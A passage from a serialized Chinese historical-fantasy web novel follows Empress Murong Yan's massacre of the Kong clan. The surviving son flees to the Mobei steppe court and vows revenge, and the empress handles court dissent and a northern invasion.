孔文简手中的账册“啪”地掉在地上,他猛地站起,脸色瞬间惨白:“胡说!我孔府乃圣人苗裔,历代帝王礼敬有加,何来抄家之说?!定是弄错了!待我出去……” 他的话戛然而止。因为一群如狼似虎、身披玄甲的士兵已经粗暴地踹开了清俭堂的大门,冰冷的兵刃在阳光下闪着寒光。 为首一名将领,面覆寒霜,手持一卷明黄帛书,厉声宣喝: “圣旨到!罪臣孔文博、孔志玄,勾结高句丽余孽,于蓬莱行宫谋刺圣驾,罪证确凿,大逆不道!陛下有旨:孔氏满门,不分老幼,皆以谋逆论处,满门抄斩,夷其三族!家产抄没,府邸焚毁!孔林、孔庙,即刻查封,等候发落!钦此!” 每一个字,都如同晴天霹雳,狠狠砸在孔文简和所有闻讯赶来的孔氏族人心头! “不——!不可能!”孔文简嘶声呐喊,浑身颤抖,“我兄长乃衍圣公,怎会谋逆?!定是奸人陷害!我要见陛下!我要……” “唰!” 一道冰冷的刀光闪过。 孔文简的声音戛然而止,他难以置信地低头,看着一截刀尖从自己胸前透出,鲜血迅速染红了他朴素的儒衫。 他张了张嘴,却发不出任何声音,身体软软地倒了下去,眼中充满了无尽的冤屈、愤怒与茫然。 至死,他都不明白,为何千年圣裔会遭此泼天大祸。 “二老爷!” “跟他们拼了!” 孔府内顿时炸开了锅。 有文弱书生试图理论,有忠仆护主反抗,有妇孺惊恐哭嚎。 然而,面对装备精良、早有准备的禁军精锐,任何反抗都是徒劳。 屠杀,开始了。 刀光剑影取代了往日的诗书礼乐。 鲜血染红了青石板路,溅上了古老的楹联匾额。昔日高高在上的孔府贵人,此刻如同猪羊般被驱赶、砍杀。 藏书楼被点燃,千年典籍在火焰中化为灰烬,空气中弥漫着血腥与焦糊的恶臭。 孔文博的幼子,年仅十岁的孔志谦,原本在书房习字,被乳母藏于一口巨大的藏书箱中。 透过箱子的缝隙,他目睹了平生最恐怖的景象:平日里和蔼的叔伯被砍倒,温柔的婶娘被拖拽,熟悉的仆役倒在血泊中抽搐……他死死捂住自己的嘴,不敢发出一丝声响,眼泪和恐惧浸透了衣襟。 那血腥的场景,那官兵狰狞的面孔,尤其是那将领宣读圣旨时提到的“慕容嫣”、“林臻”的名字,如同烧红的烙铁,深深烙印在他幼小的心灵深处。 “慕容嫣……林臻……”他在心中无声地咀嚼着这两个名字,每一个字都伴随着亲人的惨叫声和刀刃入肉的闷响。 恨意,如同毒藤,在这个本该只知诵读圣贤书的孩子心中疯狂滋生。 他记住了,是这两个人,是那个所谓的女帝和她的爪牙,毁灭了他的家族,屠戮了他的亲人! 杀戮持续了整整一个下午。 当夕阳将天空染成凄厉的血红色时,曾经钟鸣鼎食、煊赫千年的孔府,已成人间地狱。 尸横遍地,血流成河,幸存的少数旁支远亲或被吓疯的仆役,被如狗一般拴着铁链,押解出城,等待他们的将是流放或为奴的命运。 冲天的大火吞噬着亭台楼阁,象征着儒家礼乐精神的府邸,在烈焰中轰然倒塌。 侥幸躲过一劫的孔志谦,在乳母拼死掩护下,于深夜从狗洞爬出已成废墟的孔府。 他回头望去,只见一片断壁残垣,火光映照着他苍白而扭曲的小脸,那双原本清澈的眸子里,只剩下刻骨的仇恨与冰冷。 “慕容嫣……林臻……”他对着那片火海,用尽全身力气,低低地发誓,“我孔志谦对天立誓,只要一息尚存,必报此血海深仇!我要让你们……血债血偿!” 凄厉的童音在夜风中飘散,如同怨灵的诅咒。 与此同时,远在蓬莱的慕容嫣,在经历了惊心动魄的刺杀后,病情一度加重。 但在林臻的精心照料和御医的全力救治下,加之孔家这个“内患”以最惨烈的方式被清除,她心中那根紧绷的弦似乎稍稍放松,病情反而开始缓慢好转。 旬日之后,慕容嫣的身体虽仍虚弱,但已能勉强下榻行走。 她深知,孔家被灭门虽震慑了宵小,但也必然在士林和民间引起巨大波澜,京城需要她回去坐镇。且东巡震慑海疆、巩固边防的主要目的已初步达到。 “夫君,传旨吧,三日后,启程回銮。”慕容嫣站在行宫窗边,望着外面已恢复平静的海面,轻声对林臻说道。 她身上依旧穿着那件神凤降世裙,长长的墨金色拖尾在她身后迤逦,虽经打理,仍带着几分劫后余生的凌乱。 林臻看着她依旧单薄的身影,担忧道:“嫣儿,你的身体……” “无妨。”慕容嫣转过身,脸上带着一丝疲惫的坚定,“京城,才是真正的战场。孔家之事,需得朕回去,亲自向天下人‘交代’。” 她的目光深邃,仿佛已看到了回京后将要面对的疾风骤雨。 六月中旬,圣徽女帝的銮驾在庞大船队的护卫下,缓缓驶离蓬莱港,踏上了归程。 海面上风平浪静,仿佛之前的刺杀、叛乱、血腥清洗都未曾发生。 第1034章 回京 銮驾历经半月有余的航行与陆路行程,终于返回了圣徽帝国的权力中心——北平城。 巍峨的宫城在盛夏的烈日下,闪烁着庄严肃穆的金光,然而在这片恢宏的平静之下,却暗藏着比渤海风波更为汹涌的暗流。 孔府被夷三族的血腥惨案,如同投入士林静湖的巨石,激起的涟漪正悄然扩散,而侥幸逃脱的孔氏余孽,更如同潜伏在阴影中的毒蛇,伺机而动。 返回紫宸宫后,慕容嫣并未如外界所盼那般立刻临朝理政。 蓬莱之行,尤其是最后的刺杀与果断的血腥清洗,虽彰显了铁腕,却也极大地损耗了她的心神与元气。 她依旧需要静养,紫宸殿的后寝宫成了她暂时处理政务和休憩的主要场所。 夜幕低垂,宫灯初上。 寝殿内,冰鉴散发着丝丝凉意,驱散着夏夜的闷热。 慕容嫣贴身穿着的那件黑金苏锦棉质睡裙——神凤降世裙,依旧是她不曾更换的寝衣。 经历连日的舟车劳顿,裙摆那长达五丈的苏锦拖尾,在光滑如镜的金砖地面上铺散得愈发凌乱不堪,一部分蜷缩在凤榻之畔,一部分蜿蜒至殿门方向,甚至有几处被不经意地踩踏过,留下了浅浅的折痕,无声地诉说着主人近日的疲惫与无心他顾。 宽大的喇叭袖一只软软垂在身侧,另一只则被她用来支着倚在软枕上的额头。 她左手拇指上的那枚墨玉扳指,在宫灯柔和的光线下,泛着温润而内敛的光泽。 林臻端着一碗刚煎好的安神汤药走进来时,看到的便是她微蹙着眉,凝视着手中一份密报的场景。他轻轻叹了口气,走到榻边坐下。 “嫣儿,时辰不早了,该歇息了。药趁热喝了吧。”他的声音低沉而温柔,带着难以掩饰的疼惜。 慕容嫣抬起眼,看到是他,紧绷的神色稍稍缓和,很自然地将身子歪靠向他,带着一丝撒娇的慵懒语调:“夫君,你来了……这药苦得很,我不想喝。” 说着,还像个小女孩般微微蹙了蹙鼻子。 林臻无奈地笑了笑,用银匙轻轻搅动药汁,舀起一勺,细心地吹了吹,递到她唇边:“乖,喝了才能好得快。你看你,脸色还是这么差。” 他的动作极其自然,仿佛做过千百遍。 慕容嫣就着他的手,小口喝下药汁,眉头因苦涩而紧皱。林臻立刻从旁边小几上拈起一颗蜜饯,送入她口中。 甜意化开,慕容嫣满足地眯了眯眼,顺势将头靠在他肩上,低声说:“还是夫君最疼我。” 她将手中的密报递给林臻,语气凝重起来:“夫君,你看。‘夜枭’刚送来的。孔家那边……果然不太平。虽然明面上的势力被连根拔起,但一些旁支远亲,以及受过孔家大恩的门生故吏,暗中活动频繁。更有传言说孔文博有个幼子,当时不在府中,可能漏网了。” 林臻接过密报,快速浏览,脸色也随之沉了下来。 密报中还提到,士林之中,尤其是某些自诩清流的官员,对孔家被“满门抄斩”的酷烈手段颇有微词,虽不敢明言,但暗地里的非议和同情正在悄然滋长。 这无疑会给慕容嫣的统治带来潜在的阻力。 “嫣儿,此事需得谨慎处理。”林臻放下密报,揽住她的肩膀,“孔家千年积淀,树大根深,虽雷霆手段可震慑一时,但若不能彻底铲除其影响力,尤其是那个可能存在的遗孤,将来必成心腹大患。而且,朝野舆论,也不可不虑。” 慕容嫣依偎在他怀里,把玩着他衣襟上的盘扣,沉默片刻,才幽幽说道:“我知道。当时在蓬莱,情势危急,孔文博父子竟敢公然行刺,若不施以极刑,如何震慑天下?如何体现皇权至高无上?只是……没想到后续会如此棘手。” 她的声音里透着一丝不易察觉的疲惫和无奈,唯有在林臻面前,她才会偶尔流露出这份脆弱。 “这不是你的错。”林臻轻轻抚摸着她的长发,安慰道, “乱臣贼子,死有余辜。至于那些暗流,交给为夫来处理。我已加派人手,严密监控所有与孔家有关联的人员和场所,定会揪出那些余孽。朝堂之上,我也会留意,若有谁敢借此生事,绝不轻饶。” 他顿了顿,低头看着怀中人苍白的脸颊,语气更加柔和:“你现在最重要的,是把身子养好。朝政之事,有我和杜相他们,你无需过度忧心。” 慕容嫣抬起头,望进他深邃而坚定的眼眸,心中涌起一股暖流。她伸出手,轻轻抚摸他的脸颊,指尖感受到他下颌新生的胡茬,带着些许痒意:“夫君,有你在,我真的很安心。” 她顿了顿,眼中闪过一丝锐利,“不过,孔家之事,我必须亲自过问。明日,我就要临朝听政。” “你的身体……”林臻担忧地蹙眉。 “无妨。”慕容嫣坐直身体,虽然脸色依旧不佳,但眼神已恢复了属于女帝的决断, “越是这种时候,我越要出现。我要让所有人都看清楚,我慕容嫣,还坐在这紫宸殿上!任何魑魅魍魉,都休想撼动圣徽的江山!” 说着,她便要起身下榻。就在她转身,双脚即将落地的那一刹那—— 动作带着久坐后起身的轻微凝滞与决心已定的利落! 那迤逦在地、铺散凌乱长达五丈的墨金色苏锦拖尾,被她的动作骤然带动! 华贵而轻薄的锦缎拂过冰凉的金砖地面,发出一阵轻微的“唰啦”声响。 随着拖尾的悄然飘起——赫然露出了里面那用更细密的金线织就、在宫灯照耀下闪烁着如同暗夜星河般璀璨而神秘光芒的“满地织金”内衬! 那只布满整件睡裙的凤凰纹路,在瞬间展现出其内里蕴含的、更为精致繁复的辉煌图景,那金光不似外表那般沉稳,而是充满了内敛的磅礴与坚韧,仿佛在宣告着无论外表如何凌乱疲惫,其内核的尊贵与力量永不磨灭! 这惊鸿一瞥,是她内心坚韧与决心的外在映射。 裙摆落下,将那片璀璨的内衬金光重新掩盖。 慕容嫣站稳身形,对林臻露出一个让他安心的笑容:“看,我没事。” 尽管她的步伐仍有些虚浮,但脊梁挺得笔直。 林臻知道拦不住她,只能上前一步,细心地将她方才略显凌乱的霞帔重新整理好,又将那件黑金貂皮披肩为她披上,低声道: “好,我陪你一起去。但若觉不适,定要告诉我。” 翌日,紫宸殿。 慕容嫣端坐于龙椅之上,面色虽苍白,却施了薄粉,头戴珠冠,身着朝服,威仪棣棣。 林臻作为摄政亲王,肃立丹陛之侧。文武百官分列两旁,山呼万岁之声回荡在空旷的大殿中。 果然,在议及山东道官员任免及士风教化时,便有御史出列,言辞委婉地提及孔家之事,虽未敢直接指责,但字里行间暗示刑罚过酷,恐伤士林之心,不利于天下归仁。 慕容嫣静静地听着,目光平静地扫过那名御史,又扫过下方垂首不语的百官。 第1035章 孔家乃百足之虫 待御史说完,殿内一片寂静,落针可闻。 她缓缓开口,声音不高,却清晰地传入每个人耳中,带着一丝病后的沙哑,却更有一种不容置疑的威严: “孔文博父子,身为圣人后裔,世受国恩,不思报效,反而勾结外寇,谋刺朕躬,此等行径,是可忍,孰不可忍?朕以谋逆论处,何错之有?莫非诸位爱卿认为,朕的性命,还不及所谓的‘士林清议’重要?” 她的话语如同寒冰,让整个大殿的温度骤降。那名御史顿时汗流浃背,噗通一声跪倒在地,连称死罪。 慕容嫣没有看他,目光扫视全场,继续道: “朕知道,有人心中非议,觉得朕手段酷烈。但朕要告诉你们,对叛逆之仁慈,便是对忠良之残忍,对江山社稷之不负责任!孔家之罪,在于其心,而非其名!朕铲除的是祸国殃民的逆贼,维护的是圣徽的法度与安宁!至于士林风气……” 她微微停顿,语气转而深沉: “真正的士人,当以忠君爱国为本,以天下苍生为念,而非拘泥于一家一姓之私谊!若有人因孔家之覆,便心生怨望,甚至意图不轨,那便是自绝于朝廷,自绝于天下!朕,绝不姑息!” 她的声音在大殿中回荡,带着凛然的正气与决绝的杀意。百官皆屏息凝神,无人敢再发一言。 这一刻,他们再次清晰地感受到,龙椅上那位看似病弱的女子,其意志是何等的坚定与可怕。 退朝后,回到寝宫,慕容嫣卸去沉重的朝服和冠冕,只穿着那身神凤降世裙,几乎虚脱地倒在榻上。 林臻连忙上前扶住她,眼中满是心疼。 “何必如此勉强自己……”他叹息道。 慕容嫣靠在他怀里,疲惫地闭上眼睛,声音微弱却带着一丝如释重负:“夫君,有些话,必须由朕亲自说,这场风波才算真正开始平息,至于那些藏在暗处的老鼠……” 她的声音渐渐低下去,带着浓重的睡意,“就交给我的亲王殿下去处理了。” 林臻紧紧抱着她,感受着她轻浅的呼吸,心中充满了保护欲。 ...... 紫宸殿那场震慑朝野的训诫之后,表面上的非议之声确实沉寂了下去。 然而,慕容嫣和林臻都清楚,潜藏在暗处的敌意与仇恨,绝不会因几句严厉的话语而消散。 孔家千年积淀的势力盘根错节,犹如百足之虫,死而不僵。 彻底铲除其影响,尤其是那个可能存在的遗孤,成为了慕容嫣心头最紧迫的隐忧。 这一日,慕容嫣在紫宸殿后殿的暖阁内,召见了心腹重臣:摄政亲王林臻、宰相杜如晦、兵部尚书周擎,以及新任的暗卫统领影一。 她依旧穿着那身便于起居又显威仪的神凤降世裙,长长的墨金色苏锦拖尾在光滑的地面上迤逦铺开,因她频繁踱步思考而显得凌乱不堪,时而拂过椅脚,时而与地毯流苏纠缠。 暖阁内气氛凝重。慕容嫣屏退了闲杂人等,只留君臣数人。 “杜相,周尚书,关于孔家余孽及潜在党羽的清查,进展如何?”慕容嫣开门见山,声音带着病后初愈的沙哑,但目光锐利如鹰。 杜如晦率先躬身奏报:“回陛下,依陛下严旨,三法司会同各地官府,对孔氏姻亲、门生、故吏进行了严密排查。目前已清查涉案人员三百余人,其中确有部分人对朝廷处置心怀怨望,暗中串联。已抓捕首要分子五十余人,其余仍在监控之中。只是……” 他顿了顿,面露难色, “孔家毕竟树大根深,且其学说影响甚广,许多关联并非明面,清查起来阻力不小,尤其士林之中,阳奉阴违者众。” 兵部尚书周擎接着禀报:“陛下,各地驻军已加强戒备,特别是山东及周边道府,严防孔家残余狗急跳墙,煽动民变或发动袭击。只是,兵力分散,若真有大规模骚乱,恐难第一时间弹压。” 慕容嫣听着奏报,纤长的手指无意识地摩挲着袖口冰凉的黑金貂皮披肩边缘,眉头越蹙越紧。 她转向一直沉默的林臻:“夫君,影一那边,可有那个可能存在的孔家遗孤的消息?” 林臻神色凝重地摇头:“夜枭动用了所有力量,搜寻那个可能名叫孔志谦的幼子,但至今杳无音信。仿佛人间蒸发了一般。有两种可能,一是他已死于乱军之中,尸体未被发现;二是有人早已将其秘密转移,藏匿极深。” 他的声音低沉,带着一丝不易察觉的担忧。 后一种可能性,无疑意味着更大的隐患。 慕容嫣深吸一口气,强压下心中的烦躁,走到窗边,望着窗外宫苑的郁郁葱葱,沉声道:“必须找到他!活要见人,死要见尸!此子不除,终是祸胎!孔家的影响力,必须连根拔起,不能留下任何死灰复燃的可能!” 她的语气斩钉截铁,带着不容置疑的决绝。就在她猛地转身,想要继续部署时—— 动作带着压抑的怒火与焦灼! 那迤逦在地、凌乱铺散的五丈墨金色拖尾被骤然带动! 华贵的苏锦拂过地面,发出“唰”的轻响。 随着拖尾的飘起,赫然露出了里面那金线密织、在日光下流光溢彩的“满地织金”内衬! 凤凰纹路在瞬间迸发出耀眼的光芒,仿佛象征着主人内心燃烧的怒火与坚定的意志。 裙摆落下,慕容嫣的目光扫过众人: “加大悬赏!发动江湖势力!任何提供孔家核心余孽,尤其是那个遗孤线索者,赏千金,封爵位!同时,杜相,拟旨,诏告天下,凡孔氏门生故吏,限期内主动向官府坦白过往关联、划清界限者,可既往不咎;若冥顽不灵,暗中勾结者,一经发现,与逆党同罪!” “臣等遵旨!”杜如晦和周擎齐声应道。 就在此时,暖阁外传来一阵极其急促甚至略带慌乱的脚步声,一名内侍顾不得礼仪,手持一封插着三根红色翎毛的加急军报,几乎是扑倒在阁门外,声音颤抖地高喊:“陛下!王爷!八百里加急!北疆急报!漠北王庭集结十万铁骑,突破长城防线,兵分两路,一路围攻云州,一路直扑燕然都护府!北疆告急!” “什么?!” 阁内众人脸色骤变! 慕容嫣更是霍然转身,一把夺过内侍手中的军报,快速拆开阅读。 她的脸色随着阅读的深入,由震惊转为难以置信,最终化为滔天的怒火! 军报上不仅详述了漠北大军入侵的军情,更附上了一封由前线将领截获的、疑似漠北王庭送往某个秘密联络点的密信残片。 信中用词隐晦,但大意竟是漠北王庭此次南下,是应“中原圣裔”之邀,共讨“伪朝”,信中甚至提到了“孔”字和“曲阜之冤”! “混账!无耻之尤!”慕容嫣猛地将密报摔在地上,胸脯因极致的愤怒而剧烈起伏,脸色瞬间变得煞白,几乎站立不稳。林臻一个箭步上前,及时扶住了她。 “孔家!竟然是孔家余孽!他们竟敢……竟敢勾结漠北蛮族!引狼入室!” 慕容嫣的声音因愤怒而尖锐,带着撕裂般的痛楚, “他们为了报仇,竟然不惜出卖祖宗基业,将北疆百姓置于铁蹄之下!其心可诛!其罪当诛九族!” 她从未像此刻这般愤怒过。 孔文博父子的刺杀,是直接的背叛;而如今,残存的孔家势力竟与世仇漠北王庭勾结,这已是彻头彻尾的卖国行径! 这远远超出了权力斗争的范畴,是对整个圣徽民族和江山社稷的背叛! 第1036章 漠北再起战事 杜如晦和周擎也惊呆了,他们万万没想到,孔家的反扑竟会以如此极端、如此丧心病狂的形式出现! “陛下息怒!保重龙体!”林臻紧紧扶着慕容嫣,能感受到她身体因暴怒而微微颤抖。他心中同样怒火中烧,但此刻他必须保持冷静,“当务之急,是应对漠北入侵!北疆防线绝不能有失!” 慕容嫣靠在林臻怀中,急促地喘息着,过了好一会儿,才勉强压下那几乎要冲破胸膛的怒火。 她抬起头,眼中已是一片冰寒刺骨的杀意,那杀意如此浓烈,仿佛能让空气凝结。 “好好一个孔家!好一个圣裔!”她一字一顿,声音如同来自九幽寒冰,“传朕旨意!” “第一,命兵部即刻调遣精锐,火速驰援北疆!令燕然都护府死守待援,云州守将务必拖住敌军!” “第二,通告全国,揭露孔家余孽勾结漠北、卖国求荣的滔天罪行!将其钉在历史的耻辱柱上!朕看还有哪个士林清流,敢为这等国贼张目!” “第三,” 她的目光转向影一,带着前所未有的凌厉, “动用一切力量,哪怕掘地三尺,也要在漠北铁骑踏破长城之前,把孔家那些藏在地沟里的老鼠,给朕一个个揪出来!尤其是那个小杂种!朕要亲眼看着他们,为他们的背叛,付出最惨痛的代价!” 她的命令一道道下达,条理清晰,杀伐果断。暖阁内的温度仿佛都降低了几分。 “臣等领旨!”众人轰然应诺,感到了事态的严重性与女帝决心之坚定。 慕容嫣下达完命令,浑身力气仿佛被抽空,软软地靠在林臻身上。林臻挥手让杜如晦等人先行退下筹备。 待众人离去,暖阁内只剩下他们二人。慕容嫣将脸埋在林臻胸前,声音带着一丝疲惫和后怕的颤音:“夫君,我是不是当初在蓬莱真的做得太绝了?才逼得他们走上这绝路。” 林臻紧紧搂住她,斩钉截铁地说, “不!嫣儿,你没错!是他们本性卑劣!就算没有蓬莱之事,只要有机会,他们依然会为了私利出卖一切!对这等毫无底线的国贼,唯有斩草除根!北疆的仗,我们来打!孔家的孽,我们来除!你还有我,还有万千忠勇的将士!” ...... 夜。 曲阜城冲天的火光,将半边天穹染成骇人的猩红。 昔日钟鸣鼎食、书香弥漫的孔府,此刻已成人间炼狱。 十岁的孔志谦,从藏书箱的缝隙中,目睹了家族覆灭的全部惨状。 叔伯们倒伏的身影,女眷们凄厉的哭喊,仆役们飞溅的鲜血,还有那些玄甲士兵冰冷狰狞的面孔,如同无数把烧红的烙铁,狠狠地烫在他稚嫩的心魂之上。 空气中弥漫的血腥与焦糊气味,成了他此后无数个夜晚的梦魇。 “谦儿,我的谦儿”乳母张嬷嬷的声音在箱外微弱地响起,带着压抑到极致的恐惧与绝望。 箱子被轻轻打开一条缝,张嬷嬷苍白如纸、沾满泪痕和烟灰的脸出现在孔志谦眼前。 她颤抖着手,将一块硬邦邦的干粮和一个小小的、沉甸甸的锦囊塞进他怀里。 “听着,谦儿,”张嬷嬷的声音急促而低哑,眼泪大颗砸落,“从后院狗洞爬出去,一直往东跑别回头!去找你济南府的姑母这锦囊里的东西,紧要关头才能打开记住,活下去!一定要活下去!为你孔家留一条根!” 说完,张嬷嬷用尽最后力气,合上箱盖,将箱子推向更隐蔽的角落。 紧接着,孔志谦便听到外面传来士兵的呵斥声、拉扯声,以及张嬷嬷一声短促的惨叫,随即一切归于沉寂。 小小的孔志谦死死咬住自己的嘴唇,血腥味在口中弥漫,他不敢哭出声,强烈的恐惧和恨意几乎要将他撕裂。 不知过了多久,直到外面的喊杀声、哭嚎声渐渐微弱,只剩下木材燃烧的噼啪声和士兵们翻检物品的嘈杂声,他才敢轻轻顶开箱盖。 映入眼帘的,是满地的狼藉和横七竖八的尸体。 他看到了熟悉的张嬷嬷倒在离箱子不远的地方,身下一滩暗红。 巨大的悲痛和恐惧瞬间攫住了他,他几乎要晕厥过去。但“活下去”三个字,如同最后的咒语,支撑着他。 他蜷缩着,如同最卑微的虫豸,凭借对府邸地形的熟悉,利用阴影和残垣断壁的掩护,一点点向后院挪去。 浓烟刺痛了他的眼睛,热浪灼烤着他的皮肤,他不敢看那些曾经亲切、如今却冰冷僵硬的熟悉面孔。 终于,他摸到了那个只有他和几个小玩伴才知道的、藏在假山后的狭窄狗洞。 没有丝毫犹豫,他奋力钻了出去。 外面是冰冷漆黑的巷弄,与府内的冲天火光恍如两个世界。 他回头望了一眼那片吞噬了他一切的血火地狱,将“慕容嫣”、“林臻”这两个名字,连同这夜的惨象,深深镌刻在心底。 “慕容嫣,林臻。”他在心中无声地嘶吼,小小的拳头攥得发白,指甲深深掐入掌心。 他不敢停留,按照乳母的嘱咐,朝着东方发足狂奔。 一个十岁的孩子,从未独自出过远门,此刻却爆发出惊人的求生本能。 他专挑荒僻的小路、树林穿行,渴了喝溪水、露水,饿了就啃那硬得像石头的干粮。 夜晚蜷缩在草堆、破庙里,听着野狗的吠叫和风声,吓得浑身发抖,却不敢合眼。 几天后,干粮吃完了。 他又累又饿,几乎走不动路。绝望之际,他想起了乳母给的锦囊。 颤抖着打开,里面是几片金叶子,还有一张折叠的、略显发黄的纸条。 纸条上只有寥寥数字和一个陌生的地名:“北上,漠北王庭,找左贤王麾下商人阿史那罗。” 北上? 漠北? 那是传说中苦寒无比的蛮荒之地,是圣徽的世仇! 孔志谦愣住了。 乳母为何让他去那里? 去找一个陌生的商人? 但此刻,他无处可去,济南府的姑母是否安全也未可知。 这纸条,成了他黑暗中唯一微弱的光。 他不敢用金叶子在城镇买东西,怕被官兵发现。 只能继续在山野间艰难跋涉,用金叶子向偶尔遇到的、看似朴实的山民换些吃食,谎称是投亲遇劫。 他朝着北方,漫无目的地走,心中只有一个模糊的念头:离开圣徽,越远越好。 也不知走了多久,他变得又黑又瘦,衣衫褴褛,几乎看不出原本的模样。 直到有一天,他晕倒在一片戈壁滩上。 醒来时,发现自己在一个充满腥膻味的帐篷里,身边围着几个穿着皮袄、面貌与中原人迥异的汉子。 “嘿,小子,醒了?”一个满脸络腮胡、头戴皮帽的壮汉用生硬的汉语问道,眼神锐利地打量着他。这人便是商人阿史那罗。 孔志谦惊恐地缩成一团,紧紧攥着怀里仅剩的金叶子,不敢说话。 阿史那罗目光扫过他紧握的小拳头,以及那虽然破烂但料子依稀能看出不凡的衣衫,眼中闪过一丝精光。 他挥退旁人,蹲下身,压低声音:“小子,你从南边来的?姓孔?” 孔志谦浑身一颤,惊恐地看向他。 阿史那罗似乎确认了什么,咧嘴一笑,露出被烟草熏黄的牙齿:“别怕。有人托我照顾你。曲阜的事,我听说了。” 他叹了口气,语气带着几分恰到好处的“同情”, “真是造孽啊慕容嫣那女人,太狠了。” 第1037章 孙家遗孤的经历 听到“慕容嫣”三个字,孔志谦的恐惧瞬间被巨大的恨意取代,他抬起头,眼中燃烧着与他年龄不符的怨毒。 阿史那罗将他的反应看在眼里,心中了然。 他拍了拍孔志谦的肩膀:“跟我走吧,小子。漠北王庭,有你的容身之处。在那里,你可以活下去,甚至有机会变得强大。” 就这样,孔志谦跟着阿史那罗的商队,继续向北,穿越茫茫戈壁和草原。 路途艰苦异常,风雪、沙暴、饥饿时时威胁着生命。 但身体的磨难,远不及心中仇恨的煎熬。他不再是一个懵懂的孩童,家族的鲜血和覆灭,将他迅速催熟。 他沉默寡言,如饥似渴地跟着商队里的人学习漠北的语言和习俗,眼神日益阴冷。 途中,他无数次听到商队里的人,以及后来遇到的漠北人,用轻蔑或仇恨的语气谈论“南边的慕容嫣”和“林臻”,谈论圣徽的富庶与“软弱”。 每一次听到这两个名字,都像是在他心头的伤疤上再撒一把盐,也让他更加明确了自己的目标。 终于,在经历数月艰苦跋涉后,商队抵达了漠北王庭的中心——一座建立在广袤草原上的巨大城池。 望着眼前与曲阜、长安截然不同的、充满粗犷与野性力量的帐篷城郭,望着那些策马奔驰、眼神彪悍的漠北武士,孔志谦紧紧攥住了拳头。 “慕容嫣,林臻。”他站在漠北的寒风中,用只有自己能听到的声音,立下誓言,“我,孔志谦,对长生天起誓!只要一息尚存,必借漠北之力,踏平圣徽,饮尔等之血,以祭我孔氏满门在天之灵!” ...... 漠北王庭所在的龙城,已是朔风凛冽,草色枯黄。 孔志谦在商人阿史那罗的引荐和“庇护”下,在这片与他血脉根源截然不同的土地上,已然度过了数月。 他像一株被强行移植的幼苗,在严酷的环境中,以一种扭曲的速度顽强而沉默地生长着。 曾经的惊恐与无助,已被刻意打磨成坚冰般的外壳,包裹着内心日夜燃烧的仇恨之火。 阿史那罗将他安置在一顶不起眼的毡帐里,并未急于带他面见高位者,而是让他先跟着商队做些杂役,学习语言,熟悉漠北的生存法则。 孔志谦表现出惊人的隐忍和适应力,他沉默地干活,如饥似渴地学习一切能让他变得更强大的东西——骑射、摔跤、乃至漠北人粗犷的饮酒方式。 他瘦小的身躯里,仿佛蕴藏着一头急于吞噬一切的饿狼。 然而,他孔氏遗孤的身份,以及背后所代表的、与南方那个强大帝国的深刻仇怨,注定了他不可能永远隐匿于市井。 很快,消息如同草原上的风,吹到了王庭的核心圈层。 这一日,阿史那罗面色凝重地来到孔志谦的毡帐。 此时的孔志谦,正用一块粗糙的磨石,反复打磨着一柄短小的匕首,眼神专注而冰冷。 “志谦,”阿史那罗难得地用上了略显郑重的称呼,“收拾一下,随我去见一个人。” 孔志谦抬起头,黑眸中闪过一丝警惕:“见谁?” 阿史那罗压低声音,带着一丝难以掩饰的兴奋与敬畏:“是左贤王,乌维殿下。他听闻了你的来历,要亲自见你。” 左贤王乌维,乃是漠北大汗麾下最具权势的王族之一,主掌对外征伐与外交,以勇猛和野心著称。 孔志谦心中一动,他知道,决定自己命运的时刻,或许到了。 他放下匕首,默默整理了一下身上那件已经洗得发白、却依旧能看出原本精致剪裁的旧儒衫——这是他从曲阜带出来的唯一一件还能穿的衣服,也是他身份的象征,尽管与周围环境格格不入。 左贤王的金顶大帐奢华而粗犷,空气中弥漫着奶酒和烤肉的味道。 乌维坐在铺着完整虎皮的宝座上,年约四旬,面容粗犷,眼神如鹰隼般锐利,打量着被带进来的、身形尚显单薄的少年。 “你就是孔文博的儿子?”乌维的声音洪亮,带着居高临下的审视。 孔志谦深吸一口气,强迫自己压下心中的紧张,挺直了尚且稚嫩的脊梁,用已经颇为流利的漠北语回答,声音清晰而稳定:“回左贤王,罪臣之后,孔志谦。” 乌维眼中闪过一丝讶异,似乎没料到这个少年如此镇定。“罪臣?” 他玩味地重复着这个词, “据本王所知,是你圣徽的女帝,屠了你满门。何罪之有?” 孔志谦的拳头在袖中骤然握紧,指甲深深陷入掌心,但他脸上却努力维持着平静: “父兄行刺君上,是为不臣;引兵祸至家门,是为不智。孔家之祸,源于自身。然,” 他话锋一转,抬起头,目光迎上乌维的视线,那眼神中的恨意再也无法完全掩饰,“慕容嫣赶尽杀绝,夷我三族,此仇不共戴天!” 乌维看着少年眼中那与他年龄极不相符的、如同淬了毒汁般的恨意,非但没有不悦,反而哈哈大笑起来: “好!好一个不共戴天!本王就欣赏有血性的人!哪怕是颗嫩芽,只要有恨,就能长成撕咬猎物的狼!” 他站起身,走到孔志谦面前,巨大的身影带来强烈的压迫感:“小子,你想报仇吗?想夺回你失去的一切吗?” “想!”孔志谦毫不犹豫,声音斩钉截铁。 “很好!”乌维大手一拍,“光靠你一个人,就算练成草原上最厉害的勇士,也动不了慕容嫣一根汗毛。你需要力量,需要靠山。” 他踱步回到座位,意味深长地说:“本王可以给你这个机会。但你需要证明你的价值,也需要付出一点代价。” 孔志谦心中一紧,沉声问:“左贤王需要我做什么?” 乌维拍了拍手,帐帘掀开,一名侍女领着一个小女孩走了进来。 女孩约莫七八岁年纪,穿着华丽的漠北贵族服饰,小脸圆润,眼睛很大,带着几分好奇和怯生生地看着帐内的陌生人。 她是乌维的幼女,萨仁公主。 “这是本王的女儿,萨仁。”乌维指着小女孩,对孔志谦说,“本王将她许配给你。你,将成为我漠北王庭的驸马。” 孔志谦愣住了,彻底愣住了。 他看向那个看起来比自己还要小、眼神纯净的女孩,又看向目光深邃的左贤王。 他才十一岁,萨仁公主看起来不过七八岁,婚姻? 这远远超出了一个孩子对未来的想象。 “左贤王,我……”孔志谦一时不知该如何回应。 乌维打断他,语气不容置疑: “这不是普通的婚姻,小子。这是一场盟约!你,孔圣人的血脉,与我,长生天眷顾的漠北王族的结合!这象征着,我们拥有讨伐慕容嫣那个伪帝的大义名分!将来,我们铁骑南下,不仅是为你孔家复仇,更是要光复你们中原的‘正统’!而你,将是连接漠北与中原未来的桥梁!” 孔志谦瞬间明白了。 这桩婚姻,无关情爱,甚至无关他个人。 这纯粹是一场政治交易。 他是筹码,是工具,是漠北王庭用来包装其南下侵略野心的一面旗帜。 左贤王看中的,是他身上“孔圣裔孙”这块招牌,以及他与慕容嫣之间那道血海深仇。 